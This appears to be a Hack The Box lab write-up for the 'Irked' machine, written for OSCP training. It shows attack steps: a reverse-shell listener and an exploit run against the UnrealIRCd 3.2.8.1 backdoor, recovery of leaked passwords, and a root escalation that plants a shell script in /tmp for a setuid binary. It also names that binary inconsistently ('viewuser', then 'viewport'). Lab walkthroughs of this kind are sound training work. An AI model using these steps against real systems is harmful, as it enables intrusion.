Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.

In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.

Let's start with the fun!

Irked

Initial Foothold

After enumerating *all+ ports we see that there is an IRC server: unrealIRCd.

We do not know the version, but we can still try to exploit it. There is backdoor for version 3.2.8.1. We can use this script to exploit it:

1. Inside the script, set the local IP and port.
2. Set up the listener: ncat -lnvp 6969.
3. Launch the exploit: python3 exploit.py 10.10.10.117 6697 -payload python.

We get a shell as ircd.

User

We can look at /home/ircd/.bash_history (truncated output):

cd /var/www/html
ls
cd /tmp
sudo -i
cd /home/ircd
clear
ls
ls -lah
cd ..
ls
cd djmardov
ls
cd Documents
ls -lah
cat .backup
clear
exit

A file called .backup, very suspicious. Found it, /home/djmardov/Documents/.backup:

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

We have a password: UPupDOWNdownLRlrBAbaSSss. Since it says steg, I think it will be the steghide password for the image found on the website.

I was right:

1. Download image: wget http://10.10.10.117/irked.jpg.
2. Extract hidden file: steghide extract -sf irked.jpg.

We get a file called pass.txt with the following contents: Kab6h+m+bbp2J:HG, which looks like a password. We can use it to SSH as user djmardov: ssh djmardov@10.10.10.117

Root

There is suspicious setuid file: /usr/bin/viewuser. When running it, it looks for a file called /tmp/listusers.

If we create the file, it complains with this error: sh: 1: /tmp/listusers: Permission denied. It looks like it is trying to execute the file with /bin/sh.

So, if we just write the following lines to the file /tmp/listusers:

#!/bin/bash
bash

Then do chmod +x /tmp/listusers and run the binary viewport, we get a shell as root.